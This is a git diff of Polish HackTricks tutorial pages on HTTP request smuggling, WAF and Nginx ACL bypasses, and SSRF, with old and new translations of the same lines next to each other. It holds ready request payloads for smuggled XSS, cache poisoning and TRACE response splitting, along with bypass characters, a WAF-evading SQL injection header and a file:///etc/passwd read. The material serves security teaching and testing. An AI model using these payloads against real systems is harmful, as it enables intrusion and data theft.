@ -350,20 +348,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
```
W tym scenariuszu **parametr komentarza** ma przechowywać treści znajdujące się w sekcji komentarzy posta na publicznie dostępnej stronie. W rezultacie treść następnego żądania pojawi się jako komentarz.
W tym scenariuszu **parametr komentarza** ma przechowywać treści znajdujące się w sekcji komentarzy posta na publicznie dostępnej stronie. W rezultacie treść kolejnego żądania będzie wyświetlana jako komentarz.
Jednak ta technika ma swoje ograniczenia. Zazwyczaj przechwytuje dane tylko do ogranicznika parametru użytego w przemyconym żądaniu. Dla przesyłek formularzy zakodowanych w formie URL, tym ogranicznikiem jest znak `&`. Oznacza to, że przechwycone treści z żądania użytkownika ofiary zatrzymają się na pierwszym `&`, który może nawet być częścią ciągu zapytania.
Dodatkowo warto zauważyć, że to podejście jest również wykonalne z wykorzystaniem podatności TE.CL. W takich przypadkach żądanie powinno zakończyć się `search=\r\n0`. Bez względu na znaki nowej linii, wartości zostaną dołączone do parametru wyszukiwania.
Dodatkowo warto zauważyć, że ta metoda jest również wykonalna w przypadku podatności na TE.CL. W takich przypadkach żądanie powinno zakończyć się `search=\r\n0`. Bez względu na znaki nowej linii, wartości zostaną dołączone do parametru wyszukiwania.
### Wykorzystanie przemyconego żądania HTTP do eksploatacji odbitego XSS
Przemycone żądanie HTTP może być wykorzystane do eksploatacji stron internetowych podatnych na **Odbity XSS**, oferując znaczące korzyści:
* Interakcja z użytkownikami docelowymi **nie jest wymagana**.
* Umożliwia eksploatację XSS w częściach żądania, do których normalnie **nie można uzyskać dostępu**, takich jak nagłówki żądania HTTP.
* Umożliwia eksploatację XSS w częściach żądania, do których **zazwyczaj nie można uzyskać dostępu**, takich jak nagłówki żądania HTTP.
W przypadkach, gdy strona internetowa jest podatna na Odbity XSS poprzez nagłówek User-Agent, poniższy ładunek demonstruje, jak można wykorzystać tę podatność:
W przypadkach, gdy strona internetowa jest podatna na Odbity XSS poprzez nagłówek User-Agent, poniższa ładunek demonstruje, jak można wykorzystać tę podatność:
```
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@ -387,16 +385,14 @@ A=
Ten payload jest skonstruowany w celu wykorzystania podatności poprzez:
1. Zainicjowanie żądania `POST`, pozornie typowego, z nagłówkiem `Transfer-Encoding: chunked`, aby wskazać początek smugglowania.
2. Następnie, zastosowanie `0`, oznaczające zakończenie ciała wiadomości w formacie chunked.
3. Następnie wprowadzone jest smugglowane żądanie `GET`, gdzie nagłówek `User-Agent` jest zainfekowany skryptem, `<script>alert(1)</script>`, wywołując XSS podczas przetwarzania tego kolejnego żądania przez serwer.
2. Następnie `0`, oznaczające koniec ciała wiadomości w formacie chunked.
3. Następnie wprowadzone jest smugglowane żądanie `GET`, gdzie nagłówek `User-Agent` jest zainfekowany skryptem `<script>alert(1)</script>`, wywołującym XSS podczas przetwarzania tego kolejnego żądania przez serwer.
Poprzez manipulowanie `User-Agent` poprzez smugglowanie, payload omija normalne ograniczenia żądania, wykorzystując w ten sposób podatność na Reflected XSS w nietypowy, ale skuteczny sposób.
Poprzez manipulację `User-Agent` poprzez smugglowanie, payload omija normalne ograniczenia żądania, wykorzystując w ten sposób podatność na Reflected XSS w nietypowy, ale skuteczny sposób.
### Wykorzystanie smugglowania żądania HTTP do zamiany przekierowania wewnętrznego na otwarte przekierowanie <a href="#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect" id="using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect"></a>
### Wykorzystanie przekierowań na stronie docelowej za pomocą smugglowania żądań HTTP <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
### Wykorzystanie Przekierowań Wewnętrznych z Użyciem Smugglowania Żądania HTTP <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
Aplikacje często przekierowują z jednego adresu URL na inny, korzystając z nazwy hosta z nagłówka `Host` w adresie URL przekierowania. Jest to powszechne w serwerach WWW, takich jak Apache i IIS. Na przykład, żądanie folderu bez ukośnika na końcu skutkuje przekierowaniem, aby zawierać ten ukośnik:
Aplikacje często przekierowują z jednego adresu URL na inny, korzystając z nazwy hosta z nagłówka `Host` w adresie URL przekierowania. Jest to powszechne w serwerach WWW, takich jak Apache i IIS. Na przykład, żądanie folderu bez ukośnika na końcu skutkuje przekierowaniem, aby zawierało ten ukośnik:
```
GET /home HTTP/1.1
Host: normal-website.com
@ -432,15 +428,17 @@ Wyniki:
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
### Wykorzystanie przekierowania żądania HTTP do przeprowadzenia zatrucia pamięci podręcznej sieci Web
W tym scenariuszu żądanie użytkownika dotyczące pliku JavaScript zostało przejęte. Atakujący może potencjalnie skompromitować użytkownika, serwując złośliwy JavaScript w odpowiedzi.
Zatrucie pamięci podręcznej sieci Web można przeprowadzić, jeśli którykolwiek z komponentów **infrastruktury front-end** przechowuje w pamięci podręcznej zawartość, zwykle w celu poprawy wydajności. Poprzez manipulowanie odpowiedzią serwera możliwe jest **zatrucie pamięci podręcznej**.
### Wykorzystanie Zatrucia Pamięci Cache Sieci Web poprzez HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
Wcześniej obserwowaliśmy, jak odpowiedzi serwera mogą być zmieniane, aby zwracać błąd 404 (patrz [Podstawowe przykłady](./#basic-examples)). Podobnie, możliwe jest oszukanie serwera, aby dostarczył zawartość `/index.html` w odpowiedzi na żądanie pliku `/static/include.js`. W rezultacie zawartość `/static/include.js` zostaje zastąpiona w pamięci podręcznej zawartością `/index.html`, co sprawia, że `/static/include.js` staje się niedostępny dla użytkowników, potencjalnie prowadząc do ataku typu Denial of Service (DoS).
Zatrucie pamięci cache sieci web może być wykonane, jeśli którykolwiek z komponentów **infrastruktury front-end** przechowuje zawartość w pamięci podręcznej, zazwyczaj w celu poprawy wydajności. Poprzez manipulację odpowiedzi serwera, możliwe jest **zatrucie pamięci cache**.
Ta technika staje się szczególnie skuteczna, jeśli odkryto **podatność na przekierowanie otwarte** lub jeśli istnieje **przekierowanie na stronie do przekierowania otwartego**. Takie podatności mogą być wykorzystane do zastąpienia zawartości w pamięci podręcznej `/static/include.js` skryptem kontrolowanym przez atakującego, umożliwiając szeroko zakrojony atak typu Cross-Site Scripting (XSS) przeciwko wszystkim klientom żądającym zaktualizowanego `/static/include.js`.
Wcześniej obserwowaliśmy, jak odpowiedzi serwera mogą być zmienione, aby zwrócić błąd 404 (patrz [Podstawowe Przykłady](./#basic-examples)). Podobnie, możliwe jest oszukanie serwera, aby dostarczył zawartość `/index.html` w odpowiedzi na żądanie pliku `/static/include.js`. W rezultacie zawartość `/static/include.js` zostaje zastąpiona w pamięci cache zawartością `/index.html`, co sprawia, że `/static/include.js` staje się niedostępny dla użytkowników, potencjalnie prowadząc do ataku typu Denial of Service (DoS).
Poniżej znajduje się ilustracja wykorzystania **zatrucia pamięci podręcznej w połączeniu z przekierowaniem na stronie do przekierowania otwartego**. Celem jest zmiana zawartości pamięci podręcznej `/static/include.js`, aby dostarczyć kod JavaScript kontrolowany przez atakującego:
Ta technika staje się szczególnie potężna, jeśli zostanie odkryta **luka w przekierowaniach (Open Redirect)** lub jeśli istnieje **przekierowanie na stronie do otwartego przekierowania**. Takie podatności mogą być wykorzystane do zastąpienia zcache'owanej zawartości `/static/include.js` skryptem kontrolowanym przez atakującego, umożliwiając w zasadzie rozległy atak typu Cross-Site Scripting (XSS) przeciwko wszystkim klientom żądającym zaktualizowanego `/static/include.js`.
Poniżej znajduje się ilustracja wykorzystania **zatrucia pamięci cache w połączeniu z przekierowaniem na otwarte przekierowanie na stronie**. Celem jest zmiana zawartości cache pliku `/static/include.js` w celu serwowania kodu JavaScript kontrolowanego przez atakującego:
```
POST / HTTP/1.1
Host: vulnerable.net
@ -458,9 +456,9 @@ Content-Length: 10
x=1
```
Zauważ osadzone żądanie kierujące do `/post/next?postId=3`. To żądanie zostanie przekierowane do `/post?postId=4`, wykorzystując **wartość nagłówka Host** do określenia domeny. Poprzez zmianę **nagłówka Host**, atakujący może przekierować żądanie do swojej domeny (**przekierowanie na stronę atakującego do otwartego przekierowania**).
Zauważ osadzone żądanie kierujące do `/post/next?postId=3`. To żądanie zostanie przekierowane do `/post?postId=4`, wykorzystując **wartość nagłówka Host** do określenia domeny. Poprzez zmianę **nagłówka Host**, atakujący może przekierować żądanie do swojej domeny (**przekierowanie na stronę atakującego za pomocą przekierowania otwartego**).
Po udanym **zatruciu gniazda**, należy zainicjować **żądanie GET** dla `/static/include.js`. To żądanie zostanie zanieczyszczone przez wcześniejsze żądanie **przekierowania na stronę atakującego do otwartego przekierowania** i pobierze zawartość skryptu kontrolowanego przez atakującego.
Po udanym **zatruciu gniazda**, należy zainicjować **żądanie GET** dla `/static/include.js`. To żądanie zostanie zanieczyszczone przez wcześniejsze **przekierowanie na stronę atakującego za pomocą przekierowania otwartego** i pobierze zawartość skryptu kontrolowanego przez atakującego.
Następnie, każde żądanie dla `/static/include.js` będzie serwować zbuforowaną zawartość skryptu atakującego, efektywnie uruchamiając szeroki atak XSS.
@ -482,9 +480,78 @@ Atakujący tworzy przemycone żądanie, które pobiera wrażliwą zawartość sp
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
Jeśli ten przemycony żądanie zatruje wpis w pamięci podręcznej przeznaczony dla treści statycznych (np. `/someimage.png`), wrażliwe dane ofiary z `/private/messages` mogą zostać zapisane w pamięci podręcznej pod wpisem dla treści statycznej. W rezultacie atakujący mógłby potencjalnie odzyskać te zapisane wrażliwe dane.
Jeśli ten przemycony żądanie zatruje wpis w pamięci podręcznej przeznaczony dla treści statycznej (np. `/someimage.png`), wrażliwe dane ofiary z `/private/messages` mogą zostać zapisane w pamięci podręcznej pod wpisem dla treści statycznej. W rezultacie atakujący mógłby potencjalnie odzyskać te zapisane wrażliwe dane.
### Uzbrojenie HTTP Request Smuggling z Desynchronizacją Odpowiedzi HTTP
### Nadużywanie metody TRACE za pomocą Przemytu Żądań HTTP <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**W tym poście**](https://portswigger.net/research/trace-desync-attack) sugeruje się, że jeśli serwer ma włączoną metodę TRACE, możliwe byłoby jej nadużycie za pomocą Przemytu Żądań HTTP. Wynika to z faktu, że ta metoda odzwierciedli każdy nagłówek wysłany do serwera jako część treści odpowiedzi. Na przykład:
```
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
```
Wysyła odpowiedź w postaci:
```
HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115
TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
```
Przykładem wykorzystania tego zachowania byłoby **przemytanie najpierw żądania HEAD**. Na to żądanie zostaną udzielone jedynie **nagłówki żądania GET** (**`Content-Type`** wśród nich). Następnie przemyć **natychmiast po HEAD żądanie TRACE**, które będzie **odbijać wysłane dane**.\
Ponieważ odpowiedź HEAD będzie zawierała nagłówek `Content-Length`, **odpowiedź na żądanie TRACE będzie traktowana jako treść odpowiedzi HEAD, co pozwoli na odbicie dowolnych danych** w odpowiedzi. \
Ta odpowiedź zostanie wysłana do następnego żądania przez połączenie, co może być **wykorzystane na przykład w pamięci podręcznej pliku JS do wstrzyknięcia dowolnego kodu JS**.
### Wykorzystanie TRACE za pomocą Podziału Odpowiedzi HTTP <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
Kontynuując zgodnie z [**tym postem**](https://portswigger.net/research/trace-desync-attack) sugeruje się inną metodę wykorzystania metody TRACE. Jak zauważono, przemycając żądanie HEAD i żądanie TRACE, można **kontrolować pewne odbite dane** w odpowiedzi na żądanie HEAD. Długość treści żądania HEAD jest podana w nagłówku Content-Length i jest tworzona przez odpowiedź na żądanie TRACE.
Dlatego nowym pomysłem byłoby to, że znając tę długość Content-Length i dane podane w odpowiedzi TRACE, można sprawić, że odpowiedź TRACE zawiera poprawną odpowiedź HTTP po ostatnim bajcie Content-Length, co pozwala atakującemu całkowicie kontrolować żądanie do następnej odpowiedzi (co mogłoby być wykorzystane do wykonania zatrucia pamięci podręcznej).
Przykład:
```
GET / HTTP/1.1
Host: example.com
Content-Length: 360
HEAD /smuggled HTTP/1.1
Host: example.com
POST /reflect HTTP/1.1
Host: example.com
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
```
Wygeneruje te odpowiedzi (zauważ, że odpowiedź HEAD ma Content-Length, co sprawia, że odpowiedź TRACE staje się częścią ciała HEAD, a gdy Content-Length HEAD się kończy, poprawna odpowiedź HTTP jest przemycona):
```
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50
<script>alert(“arbitrary response”)</script>
```
### Uzbrajanie żądania HTTP Request Smuggling za pomocą Desynchronizacji Odpowiedzi HTTP
Czy znalazłeś jakąś podatność na HTTP Request Smuggling i nie wiesz, jak ją wykorzystać? Spróbuj tej innej metody eksploatacji:
@ -492,6 +559,20 @@ Czy znalazłeś jakąś podatność na HTTP Request Smuggling i nie wiesz, jak j
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
{% endcontent-ref %}
### Inne Techniki HTTP Request Smuggling
* Browser HTTP Request Smuggling (Po stronie klienta)
{% content-ref url="browser-http-request-smuggling.md" %}
[browser-http-request-smuggling.md](browser-http-request-smuggling.md)
{% endcontent-ref %}
* Request Smuggling w Downgrade'ach HTTP/2
{% content-ref url="request-smuggling-in-http-2-downgrades.md" %}
[request-smuggling-in-http-2-downgrades.md](request-smuggling-in-http-2-downgrades.md)
{% endcontent-ref %}
## Skrypty Turbo Intruder
### CL.TE
@ -586,7 +667,7 @@ table.add(req)
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
* [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): To narzędzie jest gramatycznie opartym Fuzzerem HTTP przydatnym do znajdowania dziwnych rozbieżności w żądaniach przemytu.
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): To narzędzie jest gramatycznie opartym Fuzzerem HTTP przydatnym do znajdowania dziwnych rozbieżności w żądaniach żądania.
## Odnośniki
@ -597,6 +678,7 @@ table.add(req)
* [https://github.com/haroonawanofficial/HTTP-Desync-Attack/](https://github.com/haroonawanofficial/HTTP-Desync-Attack/)
* [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html)
* [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
* [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
<details>

134
pentesting-web/proxy-waf-protections-bypass.md
View file

@ -1,4 +1,116 @@
# Omijanie zabezpieczeń Proxy / WAF
# Bypass zabezpieczeń Proxy / WAF
<details>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## Bypass reguł ACL Nginx za pomocą manipulacji ścieżką <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
Techniki [z tej publikacji](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
Przykład reguły Nginx:
```plaintext
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
```
### **NodeJS - Express**
| Wersja Nginx | **Znaki Bypass Node.js** |
| ------------- | ----------------------------- |
| 1.22.0 | `\xA0` |
| 1.21.6 | `\xA0` |
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
### **Flask**
| Wersja Nginx | **Znaki Bypass Flask** |
| ------------- | -------------------------------------------------------------- |
| 1.22.0 | `\x85`, `\xA0` |
| 1.21.6 | `\x85`, `\xA0` |
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
### **Spring Boot**
| Wersja Nginx | **Znaki Bypass Spring Boot** |
| ------------- | --------------------------------- |
| 1.22.0 | `;` |
| 1.21.6 | `;` |
| 1.20.2 | `\x09`, `;` |
| 1.18.0 | `\x09`, `;` |
| 1.16.1 | `\x09`, `;` |
### **PHP-FPM**
Konfiguracja Nginx FPM:
```plaintext
location = /admin.php {
deny all;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
```
Nginx jest skonfigurowany tak, aby blokować dostęp do `/admin.php`, ale można to ominąć, uzyskując dostęp do `/admin.php/index.php`.
### Jak zapobiec
```plaintext
location ~* ^/admin {
deny all;
}
```
## Ominięcie Reguł Mod Security <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
### Zagubienie Ścieżki
[W tym poście](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) wyjaśniono, że ModSecurity v3 (do wersji 3.0.12) **nieprawidłowo zaimplementował zmienną `REQUEST_FILENAME`**, która miała zawierać ścieżkę dostępu (do początku parametrów). Spowodowane to było dekodowaniem adresu URL w celu uzyskania ścieżki.\
Dlatego też, żądanie takie jak `http://example.com/foo%3f';alert(1);foo=` w mod security będzie zakładało, że ścieżką jest tylko `/foo`, ponieważ `%3f` jest zamieniane na `?`, kończąc ścieżkę URL, ale w rzeczywistości ścieżką, którą otrzyma serwer, będzie `/foo%3f';alert(1);foo=`.
Zmienne `REQUEST_BASENAME` i `PATH_INFO` również były dotknięte tym błędem.
Coś podobnego miało miejsce w wersji 2 Mod Security, co pozwalało ominąć zabezpieczenie uniemożliwiające użytkownikowi dostęp do plików z określonymi rozszerzeniami związanymi z plikami kopii zapasowych (takimi jak `.bak`), po prostu wysyłając zakodowany kropką URL w `%2e`, na przykład: `https://example.com/backup%2ebak`.
## Ominięcie AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
### Zniekształcony Nagłówek
[W tej analizie](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) wspomniano, że było możliwe ominięcie reguł AWS WAF stosowanych do nagłówków HTTP poprzez wysłanie "zniekształconego" nagłówka, który nie był poprawnie analizowany przez AWS, ale był przez serwer backendowy.
Na przykład, wysyłając następujące żądanie z wstrzyknięciem SQL w nagłówku X-Query:
```http
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n
```
Było możliwe obejście AWS WAF, ponieważ nie rozumiał, że następna linia jest częścią wartości nagłówka, podczas gdy serwer NODEJS to zrozumiał (to zostało naprawione).
## Referencje
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
* [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass)
<details>
@ -6,26 +118,10 @@
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>
Sprawdź następującą stronę, aby zobaczyć, jak **omijać WAF-y, wykorzystując niezgodności w parserach HTTP: [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)**
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>

170
pentesting-web/ssrf-server-side-request-forgery/README.md
View file

@ -10,21 +10,21 @@ Otrzymaj dostęp już dziś:
<details>
<summary><strong>Zacznij od zera i zostań ekspertem od hakowania AWS z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Zacznij od zera i stań się ekspertem w hakowaniu AWS z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>
## Podstawowe informacje
Ukierunkowana na **serwerowa podatność na żądania forgerii (SSRF)** występuje, gdy atakujący manipuluje **aplikacją serwerową**, aby wykonywała **żądania HTTP** do wybranej przez niego domeny. Ta podatność naraża serwer na dowolne zewnętrzne żądania kierowane przez atakującego.
Podatność na **Server-side Request Forgery (SSRF)** występuje, gdy atakujący manipuluje **aplikacją po stronie serwera**, aby wykonywała **żądania HTTP** do wybranej przez niego domeny. Ta podatność naraża serwer na dowolne zewnętrzne żądania kierowane przez atakującego.
## Przechwytywanie SSRF
@ -42,7 +42,7 @@ Pierwszą rzeczą, którą musisz zrobić, jest przechwycenie interakcji SSRF wy
## Ominięcie białej listy domen
Zazwyczaj okaże się, że SSRF działa tylko w **określonych domenach** lub adresach URL znajdujących się na białej liście. Na następnej stronie znajdziesz **kompilację technik próbujących ominąć tę białą listę**:
Zazwyczaj okaże się, że SSRF działa tylko w **określonych domenach** lub adresach URL znajdujących się na białej liście. Na następnej stronie znajdziesz **kompilację technik, które można wypróbować, aby ominąć tę białą listę**:
{% content-ref url="url-format-bypass.md" %}
[url-format-bypass.md](url-format-bypass.md)
@ -50,7 +50,7 @@ Zazwyczaj okaże się, że SSRF działa tylko w **określonych domenach** lub ad
### Ominięcie za pomocą przekierowania otwartego
Jeśli serwer jest odpowiednio zabezpieczony, możesz **ominąć wszystkie ograniczenia, wykorzystując przekierowanie otwarte na stronie internetowej**. Ponieważ strona internetowa pozwoli na **SSRF do tej samej domeny** i prawdopodobnie będzie **przekierowywać żądania**, możesz wykorzystać **przekierowanie otwarte, aby sprawić, że serwer uzyska dostęp do dowolnego zasobu wewnętrznego**.\
Jeśli serwer jest odpowiednio zabezpieczony, możesz **ominąć wszystkie ograniczenia, wykorzystując przekierowanie otwarte na stronie internetowej**. Ponieważ strona internetowa pozwoli na **SSRF do tej samej domeny** i prawdopodobnie będzie **przekierowywać żądania**, możesz wykorzystać **przekierowanie otwarte, aby zmusić serwer do uzyskania dostępu do dowolnego zasobu wewnętrznego**.\
Czytaj więcej tutaj: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
## Protokoły
@ -58,13 +58,13 @@ Czytaj więcej tutaj: [https://portswigger.net/web-security/ssrf](https://portsw
* **file://**
* Schemat URL `file://` odnosi się bezpośrednio do `/etc/passwd`: `file:///etc/passwd`
* **dict://**
* Schemat URL DICT jest opisany jako używany do uzyskiwania definicji lub list słów za pomocą protokołu DICT. Przykład ilustruje skonstruowany URL kierujący się do określonego słowa, bazy danych i numeru wpisu, a także potencjalne nadużycie skryptu PHP do połączenia z serwerem DICT za pomocą dostarczonych przez atakującego poświadczeń: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
* Schemat URL DICT jest opisany jako używany do uzyskiwania definicji lub list słów za pomocą protokołu DICT. Przykład ilustruje skonstruowany URL kierujący się do określonego słowa, bazy danych i numeru wpisu, a także potencjalne wykorzystanie skryptu PHP do połączenia z serwerem DICT za pomocą dostarczonych przez atakującego danych uwierzytelniających: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
* **SFTP://**
